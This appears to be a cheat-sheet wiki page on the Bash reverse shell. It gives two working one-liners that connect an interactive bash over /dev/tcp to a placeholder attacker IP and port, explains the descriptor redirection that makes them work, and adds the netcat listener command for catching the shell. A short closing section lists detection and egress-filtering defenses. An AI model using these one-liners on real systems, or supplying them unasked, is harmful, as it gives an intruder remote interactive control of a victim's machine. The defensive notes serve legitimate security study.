Bash Reverse Shell

A minimal reverse shell using only Bash’s built-in /dev/tcp pseudo-device — no external binaries required. Works whenever the target has Bash (not POSIX sh — dash and busybox lack /dev/tcp).

One-liner

bash -i >& /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1

Or with explicit descriptors:

bash -li &> /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1

How the redirection works

The one-liner chains three file descriptor bindings:

1. >& /dev/tcp/... — Bash opens a bidirectional TCP socket and binds stdout (fd 1) to it. > alone is shorthand for 1>.
2. 0>&1 — binds stdin (fd 0) to whatever fd 1 now points at (the socket).
3. 2>&1 (folded into &>) — binds stderr to the socket as well.

Because /dev/tcp is bidirectional, all three core descriptors pointing at it produces a working interactive shell: keystrokes flow in via stdin, output and errors flow out.

Catching the shell

Use netcat or socat:

nc -lvnp $LISTENER_PORT

For a fully interactive TTY, upgrade after catching — see shell-stabilization.

Defense

• Outbound connections from Bash to unusual ports are high-fidelity alerts — see windows-event-logs for the general event-log approach
• Bash audit logging (bash_audit / auditd SYSCALL rules) can capture /dev/tcp usage
• Restricting egress via firewall rules limits where the shell can connect

Sources

• Reverse Shell Cheat Sheet — PayloadsAllTheThings / InternalAllTheThings
• Command and Scripting Interpreter: Unix Shell — MITRE ATT&CK T1059.004
• Application Layer Protocol — MITRE ATT&CK T1071

Related: perl-reverse-shell, ruby-reverse-shell, powershell-reverse-shell, shell-stabilization, netcat, socat, nodejs-reverse-shell, xterm-reverse-shell